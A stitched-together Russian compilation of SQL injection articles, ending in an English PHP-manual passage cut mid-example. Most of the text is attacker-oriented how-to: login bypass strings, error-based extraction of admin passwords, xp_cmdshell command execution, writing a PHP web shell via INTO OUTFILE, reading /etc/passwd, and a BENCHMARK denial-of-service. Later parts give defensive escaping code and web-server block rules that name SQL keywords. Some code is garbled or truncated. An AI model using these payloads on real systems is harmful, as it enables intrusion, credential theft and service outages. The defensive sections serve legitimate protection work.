Что такое SQL инъекции. Что такое инъекция SQL

Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки.

Эта статья предназначена для того, чтобы помочь новичкам справиться с проблемами, с которыми они могут столкнуться при использовании техники SQL Injection, успешно использовать ее и уметь защитить себя от подобных нападений.

Введение

Когда у интересующего сервера открыт только 80 порт, и сканер уязвимостей не может сообщить ничего интересного, и вы знаете, что системный администратор всегда очень оперативно устанавливает все заплаты на web-сервер, последним нашим шансом остается web-взлом. SQL injection - один из типов web-взлома, которые используют только 80 порт, и может сработать, даже при своевременно установленных заплатах. Это нападение более направлено на web-приложения (типа ASP, JSP, PHP, CGI, и т.д), чем непосредственно на web-сервер или сервисы в ОС.

Эта статья не содержит никаких новых истин, SQL injection широко описан и повсеместно используется. Статья больше предназначена для новичков, но, быть может, и профессионалы смогут найти одну-две новые уловки. Также рекомендую просмотреть приведенные в конце статьи ссылки для получения более подробной информации от специалистов в данной области.

1.1 Что такое SQL Injection?

SQL Injection - метод, предназначенный для введения SQL запросов/команд через web-страницы. Многие web-страницы используют параметры, представленные Web пользователям, и делают SQL запрос базы данных. Возьмем для примера случай с логином пользователя, когда имеется web-страница c именем и паролем и производится SQL запрос в базе данных, для осуществления проверки, имеется ли зарегистрированный пользователь с таким именем и паролем. С использованием SQL Injection можно послать придуманное имя пользователя и/или поле пароля, изменяющее SQL запрос, что может предоставить нам кое-что интересное.

2.0 Что мы должны искать

Попробуйте найти страницы, которые запрашивают у вас данные, например страница поиска, обсуждений, и т.д. Иногда html страницы используют метод POST, чтобы послать команды другой Web странице. В этом случае вы не увидите параметры в URL. Однако в этом случае вы можете искать тэг "FORM" в исходном коде HTML страниц. Вы найдете, что-то типа такого:



Все параметры между

и
потенциально могут быть уязвимы к введению SQL кода.

2.1 Что если вы не нашли страницу, которая использует ввод?

Поищите страницы, подобно ASP, JSP, CGI, или PHP Web страницам. Попробуйте найти страницы, которые используют параметры, подобно:

3.0. Как мне проверить что то, что я нашел, уязвимо?

Попробуйте начать с одиночной кавычки. Введите следующую строку:

hi" or 1=1--

в поле имя пользователя или пароль, или даже в URL параметре. Пример:

Login: hi" or 1=1--
Pass: hi" or 1=1--
http://duck/index.asp?id=hi" or 1=1--

Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:



Если удача на вашей стороне, вы войдете в систему без имени или пароля.

3.1 Но почему " or 1=1--?

Давайте рассмотрим другой пример, который объясняет полезность конструкции " or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:

http://duck/index.asp?category=food

В URL, "category" – это имя переменной, и "food" – значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:

SELECT * FROM product WHERE PCategory="food"

Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае "food". Теперь изменим URL следующим образом:

http://duck/index.asp?category=food" or 1=1--
SELECT * FROM product WHERE PCategory="food" or 1=1--‘

Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен "food" или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ("). Иногда можно заменить двойную черточку на диез "#".

Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:

" or "a"="a

Теперь SQL запрос станет:

SELECT * FROM product WHERE PCategory="food" or "a"="a"

Этот запрос возвратит тот же самый результат.

В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:

" or 1=1--
" or 1=1--
or 1=1--
" or "a"="a
" or "a"="a
") or ("a"="a

4.0 Как можно удаленно выполнять команды, используя SQL injection?

Возможность вводить SQL команду обычно означает, что мы можем выполнять SQL запросы по желанию. Заданная по умолчанию инсталляция MS SQL Server выполняется с системными правами. Мы можем вызвать встроенные процедуры, типа master..xp_cmdshell, для удаленного выполнения произвольных команд:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Попробуйте использовать двойные кавычки ("), если (") не срабатывает.

Точка с запятой закончит текущий SQL запрос и позволит вам запускать новые SQL команды. Чтобы проверить, выполнена ли команда успешно, вы можете проверить ICMP пакеты в 10.10.1.2, присутствуют ли в них какие либо пакеты с уязвимого сервера:

http://сайт/?ID=31610

Если вы не получили никакой запрос утилиты ping от сервера, и получаете сообщение об ошибке, указывающее ошибку разрешения, возможно, что администратор ограничил доступ Web пользователя к сохраненным процедурам.

5.0 Как получить результаты моего SQL запроса?

Можно использовать sp_makewebtask, чтобы записать ваш запрос в HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Указываемый IP должен иметь папку "share" с доступом для Everyone.

6.0 Как получить данные из базы данных, используя ODBC сообщение об ошибках?

Мы можем использовать информацию из сообщения об ошибке, произведенной SQL сервером, чтобы получить любые данные. Например, рассмотрим следующую страницу:

http://duck/index.asp?id=10

Теперь мы попробуем объединить целое ‘10’ с другой строкой в базе данных:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Системная таблица INFORMATION_SCHEMA.TABLES содержит информацию всех таблиц на сервере.

Поле TABLE_NAME очевидно содержит имя каждой таблицы в базе данных. Она была выбрана, потому что мы знаем, что она всегда существует. Наш запрос:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Этот запрос возвратит первое имя в базе данных. Когда мы UNION это строковое значение к целому 10, MS SQL Server попытается преобразовать строку nvarchar к integer. Это вызовет ошибку, которая сообщит, что не может преобразовать nvarchar к int. Сервер выдаст следующую ошибку:


Syntax error converting the nvarchar value "table1" to a column of data type int.
/index.asp, line 5

Сообщение об ошибке содержит информацию о значении, которое не может быть преобразовано в целое. В этом случае, мы получили имя первой таблицы - "table1".

Для получения следующего имени таблицы, мы можем использовать следующий запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

Мы также можем искать данные, используя ключ LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the nvarchar value "admin_login" to a column of data type int. /index.asp, line 5

Соответствующая конструкция "%25login%25" будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию "admin_login".

6.1 Как узнать все имена столбцов в таблице?

Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "login_id" to a column of data type int.
/index.asp, line 5

Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")-

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "login_name" to a column of data type int.
/index.asp, line 5

Продолжая, мы получим остальные имена столбцов, т.е. "password", "details", пока не получим следующую ошибку.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name","password",details")--

Microsoft OLE DB Provider for ODBC Drivers error "80040e14"
ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2. Как нам получить нужные нам данные?

Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.

Давайте получим первый login_name из таблицы "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "neo" to a column of data type int.
/index.asp, line 5

Теперь мы знаем, что есть admin пользователь с именем входа в систему "neo". Наконец, мы можем получить пароль "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="neo"--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "m4trix" to a column of data type int.
/index.asp, line 5

Теперь мы сможем войти в систему как "neo" с паролем "m4trix".

6.3 Как получить числовое значение строки?

Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0...9). Сейчас мы опишем получение пароля "31173" у пользователя "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="trinity"--

Мы вероятно получим ошибку "Page Not Found". Причина в том, что пароль "31173" будет преобразован в число, перед UNION с целым числом (в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.

Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

Мы просто используем знак "плюс" (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для "+" = 0x2b). Затем, мы добавим в конец "%20morpheus" в фактический пароль. Поэтому, даже если значение пароля "31173", он станет "31173 morpheus". Вручную вызывая функцию convert(), пытаясь преобразовать " 31173 morpheus" в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "31173 morpheus" to a column of data type int.
/index.asp, line 5

Теперь мы сможем войти в систему как "trinity" с паролем "31173".

7.0 Как модифицировать/вставить данные в базу данных?

После того, как мы получили имена всех столбцом в таблице, мы сможем обновить(UPDATE) или даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для "neo":

http://duck/index.asp?id=10; UPDATE "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

Чтобы внести (INSERT) новую запись в базу данных:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

Теперь мы сможем войти в систему как "neo" с паролем "newpas5".

8.0 Как избежать SQL Injection?

Фильтруйте специальные символы во всех строках в:

Любых данных, вводимых пользователем
- URL параметрах
- Cookie

Для числовых значений, конвертируйте их к integer, перед передачей их к SQL запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.

Запускайте SQL сервер как непривилегированный пользователь.

Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

SQL injection - уязвимость, возникающая как следствие недостаточной проверки принятых от пользователя значений, в скрипте или программе. Я буду рассматривать инъекции в MySQL базе данных. Эта база данных является одной из самых распространенных. Если не оговорено отдельно, то считается, mysql инъекция возможна в php скрипте.
(5140 просмотров за 1 неделю

Phoenix

сайт совместно с Учебным центром "Информзащита" и интернет магазином ПО Softkey.ru организует конкурс на налучшую статью по тематике информационной безопасности.

SQL injection - уязвимость, возникающая как следствие недостаточной проверки принятых от пользователя значений, в скрипте или программе. Я буду рассматривать инъекции в MySQL базе данных. Эта база данных является одной из самых распространенных. Если не оговорено отдельно, то считается, mysql инъекция возможна в php скрипте.

Выявление наличия SQL инъекции.

Зачастую, о наличии SQL инъекции могут сказать ошибки, явно указывающие, что произошла ошибка в sql запросе. В тоже время о наличии ошибки в SQL запросе можно судить и по косвенным признакам.

Для проверки, полностью фильтруется некоторый параметр или нет, передаем несколько измененные значения этого параметра. Например, вместо http://site/test.php?id=12 передаем.

http://site/test.php?id=12"

http://site/test.php?id=aaa

http://site/test.php?id=13-1

Если последний запрос выдает страницу, аналогичную, как и http://site/test.php?id=12, это в большинстве случаев может однозначно свидетельствовать о наличии SQL инъекции в не фильтруемом целом параметре.

Анализ БД через MySQL инъекцию.

И так, допустим нам известно о недостаточной фильтрации параметра id в скрипте http://site/test.php?id=12

Наличие подробных сообщениях об ошибках, с текстом SQL запроса, в котором произошла ошибка сведет трудность эксплуатации SQL инъекции к минимуму. Однако, многое можно сделать даже если сообщений об ошибках не выводятся вообще.

Следует принять к сведению тот факт, что даже если текст ошибки не выводиться, можно все равно однозначно судить о том, произошла ошибка, или нет (например, запрос вернул пустой результат).

В частности, возможна ситуации, когда при ошибке, возвращается код ответа 500, или редирект на главную страницу, в то время как при пустом результате запроса будет возвращена пустая страница.

Для того, чтобы выявить эти второстепенные признаки, следует составить http запросы, про которые известно, который приведет к правильному (но возвращающему пустой вывод) SQL запросу, и который приведет к неверному SQL запросу. Например, при не фильтруемом параметре id

http://site/test.php?id=99999, вероятно, будет возвращен пустой sql запрос, в то время, как

http://site/test.php?id=99999" должен породить ошибку.

Теперь, зная как отличить ошибочный запрос от пустого, начинаем последовательно извлекать информация о запросе и базе данных.

Рассмотрим случай, когда иньекция происходит после where. Если мы рассматриваем MySQL базу данных, то получение информации из базы данных может быть возможным только, если сервер имеет версию 4.*, те имеется возможность вставить в запрос union

1) количество полей между select и where

Пробуем последовательно, пока не получим верный запрос:

http://site/test.php?id=99999+union+select+null/*

http://site/test.php?id=99999+union+select+null,null/*

более, того, если не имеется возможность отделить неверный запрос от возвратившего пустой результат, можно сделать так:

http://site/test.php?id=12+union+select+null/*

http://site/test.php?id=12+union+select+null,null/*

Для этого, нам достаточно уметь отделять правильный запрос от неправильного, а это возможно всегда, если имеется факт наличия SQL инъекции.

После того, как мы получим правильный запрос, количество null, будет равно количеству полей между select и where

2) номер столбца с выводом. Нам понадобится знать, в каком по счету столбце происходит вывод на страницу.

При этом, если выводиться на страницу несколько параметров, то лучше найти тот, который, как кажется, имеет наибольший размер типа данных (text лучше всего), как например, описание товара, текст статьи и тд. Ищем его:

http://site/test.php?id=9999+union+select+"test",null,null/*

http://site/test.php?id=9999+union+select+null,"test",null/*

И до тех пор, пока не увидим слово test в нужном нам месте.

Следует обратить внимание, что в этом случае один из подобных запросов обязательно вернет непустое значение.

Тут можно наткнутся на подводный камень: в скрипте, возможно имеется проверка на не пустоту одного из параметров (например, id) тут придется воспользоваться свойством MySQL, числовой тип может быть приведен к любому типу данных, без возникновения ошибки, причем так, что сохранит свое значение.

http://site/test.php?id=9999+union+select+1,2,3/*

Этот же фокус пройдет и там, где кавычки экранируются.

Открытие комментария добавлена для того, чтобы отбросить, остальную часть запроса, если она имеется. MySQL нормально реагирует на незакрытый комментарий.

3) имена таблиц

Теперь можно перебирать имена таблиц.

http://site/test.php?id=12+union+select+null,null,null+from+table1/*

Правильные запросы будут соответствовать существующим именам таблиц. Наверно, интересно будет проверить на существование таблиц users, passwords, regusers и тд и тп.

4)системная информация

у нас уже достаточно информации чтобы составить такой запрос.

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*

В случае, если имеются права на select из базы данных mysql, то этот запрос вернет нам хеш пароля, который в большинстве случаев легко расшифруется. Если выводиться только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0,1/*

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*

Кроме того можно узнать много интересного:

http://site/test.php?id=9999+union+select+null,DATABASE(),null/*

http://site/test.php?id=9999+union+select+null,USER(),null/*

http://site/test.php?id=9999+union+select+null,VERSION(),null/*

5) названия столбцов в таблице

Их аналогично, можно перебрать: http://site/test.php?id=9999+union+select+null,row1,null+from+table1/* и тд.

текст файлов через MySQL инъекцию.

Если пользователь, под которым осуществляется доступ к бд, имеет права file_priv, то можно получить текст произвольного файла

http://site/test.php?id=9999+union+select+null,LOAD_FILE("/etc/passwd"),null/*

запись файлов в веб директорию (php shell).

Как показала практика, если мы имеем права file_priv, директорию, доступную на запись всем пользователям, доступную кроме того из web, (иногда, директории upload, banners и тд.), а так же знаем имя хотя бы одной таблицы (mysql.user, например сойдет, если имеется доступ к mysql базе данных), то можно выгрузить произвольный файл на сервер используя инъекцию подобного типа.

http://site/test.php?id=9999+union+select+null,"+system($cmd)+?
>",null+from+table1+into+outfile+"/usr/local/site/www/banners/cmd.php"/*

При этом конструкция from table1 обязательна.

Если кроме того, на сайте имеется уязвимость, позволяющая выполнять произвольные файлы на сервере, (include("/path/$file.php")), то, в любом случае можно закачать php shell, например в директорию /tmp/, и затем подцепить этот файл оттуда при помощи уязвимости в include.

инъекция после limit.

Довольно части возможность SQL инъекции возникает внутри параметра, передающегося к limit. Это может быть номер страницы и тд и тп.

Практика показывает, что все вышесказанное может быть применено и в этом случае.

MySQL корректно реагирует на запросы типа:

Select … limit 1,2 union select….

Select … limit 1 union select….

Если необходимо чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запросы:

Select … limit 99999,1 union select…. Либо, Select … limit 1,0 union select….

некоторые "подводные камни".

Наиболее частым подводным камнем может оказаться включение магических кавычек в конфигурации php. В случае строковых параметров это вообще позволит избежать возможности SQL инъекции, а в случае целый (дробных) параметров, в подобных запросах невозможно будет использовать кавычки, а следовательно и строки.

Частично, решить эту проблему поможет нам функция char, которая возвращает строке по кодам символов. Например

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null/*

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null+from_table1/*

http://site/test.php?id=9999+union+select+null,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),null/*

Единственное ограничение. В случае, если хочется сделать into outfile, то а качестве имени файла, необходимо передать имя файла в кавычках. into outfile char(...) выдает ошибку.

2) Mod_security.

Казалось бы, этот модуль веб сервера apache, делает невозможным эксплуатацию уязвимости SQL инъекции. Однако, при некоторых конфигурациях PHP и этого модуля, атаку можно провести прозрачно для этого модуля.

Конфигурация по умолчанию модуля mod_security не фильтрует значение, переданные как cookie. Одновременно, в некоторых случаях, а также в некоторых конфигурациях по умолчанию php, переменные cookie регистрируются автоматически.

Таким образом, злонамеренные значения переменных, абсолютно прозрачно для mod_security можно передать как cookie значения.

DOS в MySQL инъекции.

Если не имеется возможности применения union в запросе, например, MySQL имеет версию 3.*, то, тем не менее, инъекцию можно эксплуатировать, например, для того, чтобы заставить сервер базы данных исчерпать все свои ресурсы.

Для этого, будем использовать функцию BENCHMARK, которая повторяет выполнение выражения expr заданное количество раз, указанное в аргументе count. В качестве основного выражения возьмем функцию, которая сама по себе требует некоторого времени. Например, md5(). В качестве строки возьмем current_date, чтобы строка не содержала кавычек. Функции BENCHMARK можно вкладывать друг в друга. И так, составляем запрос:

http://site/test.php?id=BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date)))

1000000 запросов md5 выполняются (в зависимости от мощности сервера), примерно 5 секунд, 10000000 будут выполнятся около 50 секунд. Вложенный benchmark будет выполняться очень долго, на любом сервере. Теперь останется отправлять до нескольких десятков подобных http запросов в секунду, чтобы ввести сервер в беспробудный даун.

другие типа MySQL инъекции.

Фильтровать целые значения для целых параметров и кавычки для строковых параметров порой недостаточно. Иногда к незапланируемой функциональности может привести применение % и _ специальных символов внутри like запроса. Например:

mysql_query("select id from users where password like "".addslashes($password)."" and user like "".addslashes($user).""");

в этом случае к любому пользователю подойдет пароль %

apache mod_rewrite

В некоторых случаях, СКЛ инъекция возможна даже в параметре, который преобразуется методами mod_rewrite модуля apache, к GET параметру скрипта.

Например, скрипты типа /news/127.html преобразуются к /news/news.php?id=127 следующим правилом: RewriteRule ^/news/(.*)\.html$ "/news/news.php?id=$1"

Это позволит передать злонамеренные значения параметра скрипту. Так, например /news/128-1.html

Если выводятся подробные сообщения об ошибках, то можно сразу узнать адрес скрипа, и далее, подобрав параметр работать уже с ним. Если же нет, то можно исследовать уязвимость, прямо редактируя имя файла.

коротко о защите.

Для защиты от всего вышесказанного достаточно придерживаться нескольких простых правил.

1) для целых и дробных величин, перед их использованием в запросе достаточно привести величину к нужному типу.

$id=(int)$id; $total=(float)$total;

Вместо этого можно вставить систему слежения за тестированием на SQL инъекцию.

if((string)$id(string)(int)$id) {

//пишем в лог о попытке

2) для строковых параметров, которые не используются в like, regexp и тд, экранируем кавычки.

$str=addslashes($str);

или, лучше,

mysql_escape_string($str)

3) в строках, которые предполагается использовать внутри like, regexp и тд, необходимо так же заэкранировать специальные символы, применяющиеся в этих операторах, если это необходимо. В противном случае, можно задокументировать использование этих символов.

Учебный центр "Информзащита" http://www.itsecurity.ru - ведущий специализированный центр в области обучения информационной безопасности (Лицензия Московского Комитета образования № 015470, Государственная аккредитация № 004251). Единственный авторизованный учебный центр компаний Internet Security Systems и Clearswift на территории России и стран СНГ. Авторизованный учебный центр компании Microsoft (специализация Security). Программы обучения согласованы с Гостехкомиссией России, ФСБ (ФАПСИ). Свидетельства об обучении и государственные документы о повышении квалификации.

Компания SoftKey – это уникальный сервис для покупателей, разработчиков, дилеров и аффилиат–партнеров. Кроме того, это один из лучших Интернет-магазинов ПО в России, Украине, Казахстане, который предлагает покупателям широкий ассортимент, множество способов оплаты, оперативную (часто мгновенную) обработку заказа, отслеживание процесса выполнения заказа в персональном разделе, различные скидки от магазина и производителей ПО.

Перед тем как мы поговорим о том, как выполняется защита сайта от sql инъекций, нам нужно сначала разобраться что это такое и почему этот тип атак настолько опасен. Большинство современных сайтов уже делают все, чтобы на их страницах не было таких мест, через которые злоумышленник мог бы выполнить эту атаку, но все же иногда такие проблемы случаются даже на популярных ресурсах или в часто используемых движках.

Сегодня мы разберем что такое sql инъекция, как она работает, а также как с ней бороться, как на уровне языка программирования, так и с помощью создания различных помех для злоумышленника с помощью веб-сервера. Это тоже достаточно эффективно.

Как вы знаете, большинство сайтов интернета используют базу данных для хранения информации. Не удивительно, что во время формирования страницы выполняются запросы к базе данных. И тут вроде ничего такого нет, если не считать то, что при формировании запроса могут использоваться данные, введенные пользователем. Например, при создании комментария, поиске или даже переходе на другую страницу.

И тут появляется возможность для SQL инъекции. Если пользователь введет в поле определенный запрос, то он сможет создать свой запрос к базе данных. Это позволит ему делать практически все, что угодно, украсть ваши данные, стереть базу, получить доступ к паролям пользователей, добавить новых пользователей и все что ему будет угодно.

Например, вот так выглядит SQL запрос запроса id статьи при поиске:

SELECT id,title,content FROM posts WHERE title LIKE "%запрос_пользователя%"

А теперь представьте, что пользователь вместо ключевых слов из статьи введет такую комбинацию:

1%"; DROP TABLE posts LIKE "%;

И в результате получится такой себе полностью рабочий запрос, которого вы совсем не ожидали:

SELECT id,title,content FROM posts WHERE title LIKE "%1%"; DROP TABLE posts LIKE "% %"

Это сработает с любым запросом, в котором есть ввод данных пользователей, если программист не позаботился о безопасности. Следовательно, чтобы решить эту проблему нужно просто экранировать все кавычки в запросах от пользователя. А теперь перейдем к способам защиты.

Защита сайта от sql инъекций на уровне PHP

Защита от sql атак может выполняться различными способами. Первое, на что стоит обратить внимание и что очень важно - это чтобы программист уже во время написания кода занимался экранированием кавычек с помощью таких функций, как mysql_real_escape_string или mysqli_real_escape_string. Если каждая переменная, которая используется в запросах к базе будет профильтрована ими, программистом или на уровне CMS, то никаких проблем не возникнет.

Но почему же на протяжении последних 14 лет все еще случаются атаки на SQL? Все просто. Программисты ленивы, а делать небезопасные запросы к базе так просто, в то время как безопасные - более сложны. Во всяком случае, сложнее, чем небезопасные.

Защита на уровне веб-сервера

Не всегда есть возможность исправить все недоработки в коде. Например, популярный движок Drupal имеет более 20 000 строк кода, WordPress - 60 000, а Joomla - 180 000. Было бы нецелесообразно все это переписывать. Но можно поступить по-другому. Сначала мы отфильтруем все значения из переменной REQUEST в самом начале скрипта. Вставьте этот код после подключения базы данных:

if (!function_exists("clean")) {
if (get_magic_quotes_gpc()) {
function magicquotes_Stripslashes(&$value, $key) {
$value = stripslashes($value);
}
$gpc = array(&$_COOKIE, &$_REQUEST);
array_walk_recursive($gpc, "magicquotes_Stripslashes");
}
function clean(&$value, $key) {
//эта функция экранирует все кавычки.
$value = mysql_real_escape_string($value);
}
}
$req = array(&$_REQUEST);
array_walk_recursive($req, "clean");

Для PHP 7 вам нужно будет использовать функцию mysqli_real_escape_string, поскольку расширение mysql было удалено из этой версии языка. Для экранирования кавычек используется лишь функция clean и все что ниже нее. То что выше применяется для совместимости с версиями PHP ниже 5.4. В них была настройка Magic Quotes, которая при включении экранировала все кавычки. Чтобы наш скрипт все не портил мы сначала все убираем экранирование если она включена.

Теперь у вас есть дополнительная защита на уровне PHP. Осталось еще позаботиться про защиту на уровне веб-сервера. Если вы используете Nginx, то можно добавить такие правила в вашу секцию server:

set $block_sql_injections 0;
if ($query_string ~ "union.*select.*\(") {
set $block_sql_injections 1;
}
if ($query_string ~ "union.*all.*select.*") {
set $block_sql_injections 1;
}
if ($query_string ~ "concat.*\(") {
set $block_sql_injections 1;
}
if ($block_sql_injections = 1) {
return 403;
}

Здесь мы отфильтровываем все запросы, которые содержат слова select, concat вместе с кавычками. Это явный признак, что пользователь пытается выполнить SQL инъекцию, а значит его запрос нужно заблокировать.

Также вы можете блокировать подозрительные адреса на уровне веб-сервера Apache, например, выбрать самые часто употребляемые ключевые слова SQL. Правда, это опасно, поскольку могут быть заблокированы и запросы обычных пользователей. Добавьте в вашу секцию VitualHost такие строки:

RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z]
RewriteRule (.*) - [F]

Но это еще не полное решение, здесь можно пойти дальше. Эта блокировка не защищает от SQL инъекций, выполняемых с помощью POST или RESTful запросов. Еще можно активировать модуль mod_security:

sudo a2enmod mod_security

Здесь тоже есть несколько правил, которые защищают от инъекций. Но желательно использовать еще и более комплексный подход.

Разделение базы данных

Чтобы сделать вашу базу данных более безопасной, вы можете разделить ее на несколько частей. В области информационной безопасности существует такое понятие, как принцип минимальных привилегий. Суть принципа состоит в том, что программа или пользователь должны иметь доступ только к тому, что им нужно и нечему больше. Например, будет разумно хранить данные о кредитных картах пользователя и форумы в разных базах данных. Особенно, если формы используют устаревшую версию phpBB. Это своеобразная дополнительная защита sql injection.

Анализ запросов перед приложением

Еще один вариант - это использования более сложных систем защиты. Это может быть аппаратное решение, которое работает поверх iptables или ipfw или же система обнаружения вторжений на сервере HIDS, такая, как OSSEC. Но такое решение намного сложнее, чем нужно и не предназначено для решения нашей задачи. Можно использовать специальные брандмауэры веб-приложений, с помощью которых, в том числе, выполняется защита от SQL инъекций. Это такие свободные решения, как ModSecurity или IronBee.

Выводы

Нет идеального решения или волшебной палочки, с помощью которой бы получалась стопроцентная защита сайта от sql инъекций, хотя PHP стремится быть все более защищенным. Начиная с версии 7.0 была удалена поддержка расширения MySQL. Теперь необходимо переходить на MySqli или PDO. И это хорошо, потому что эти расширения делают проще использование данных с подготовленными операторами. Хотя для этого все еще требуется написать несколько строк.

Существует множество способов выполнения SQL атак, но до тех пор, пока разработчики не будут писать правильный код, а на веб-серверах не будут на максимум использоваться средства защиты, эти атаки не исчезнут из списка ТОП 10 OSWAP. Настройте вашу систему так, чтобы защитить свои данные и базы данных.

Похожие записи:


Many web developers are unaware of how SQL queries can be tampered with, and assume that an SQL query is a trusted command. It means that SQL queries are able to circumvent access controls, thereby bypassing standard authentication and authorization checks, and sometimes SQL queries even may allow access to host operating system level commands.

Direct SQL Command Injection is a technique where an attacker creates or alters existing SQL commands to expose hidden data, or to override valuable ones, or even to execute dangerous system level commands on the database host. This is accomplished by the application taking user input and combining it with static parameters to build an SQL query. The following examples are based on true stories, unfortunately.

Owing to the lack of input validation and connecting to the database on behalf of a superuser or the one who can create users, the attacker may create a superuser in your database.

Example #1 Splitting the result set into pages ... and making superusers (PostgreSQL)

$offset = $argv [ 0 ]; // beware, no input validation!
$query = $offset ;" ;
$result = pg_query ($conn , $query );

?>

Normal users click on the "next", "prev" links where the $offset is encoded into the URL . The script expects that the incoming $offset is a decimal number. However, what if someone tries to break in by appending a urlencode() "d form of the following to the URL If it happened, then the script would present a superuser access to him. Note that 0; is to supply a valid offset to the original query and to terminate it.

It is common technique to force the SQL parser to ignore the rest of the query written by the developer with -- which is the comment sign in SQL.

A feasible way to gain passwords is to circumvent your search result pages. The only thing the attacker needs to do is to see if there are any submitted variables used in SQL statements which are not handled properly. These filters can be set commonly in a preceding form to customize WHERE, ORDER BY, LIMIT and OFFSET clauses in SELECT statements. If your database supports the UNION construct, the attacker may try to append an entire query to the original one to list passwords from an arbitrary table. Using encrypted password fields is strongly encouraged.

The static part of the query can be combined with another SELECT statement which reveals all passwords:

" union select "1", concat(uname||"-"||passwd) as name, "1971-01-01", "0" from usertable; --

If this query (playing with the " and -- ) were assigned to one of the variables used in $query , the query beast awakened.

SQL UPDATE"s are also susceptible to attack. These queries are also threatened by chopping and appending an entirely new query to it. But the attacker might fiddle with the SET clause. In this case some schema information must be possessed to manipulate the query successfully. This can be acquired by examining the form variable names, or just simply brute forcing. There are not so many naming conventions for fields storing passwords or usernames.

But a malicious user sumbits the value " or uid like"%admin% to $uid to change the admin"s password, or simply sets $pwd to hehehe", trusted=100, admin="yes to gain more privileges. Then, the query will be twisted:

// $uid: " or uid like "%admin%
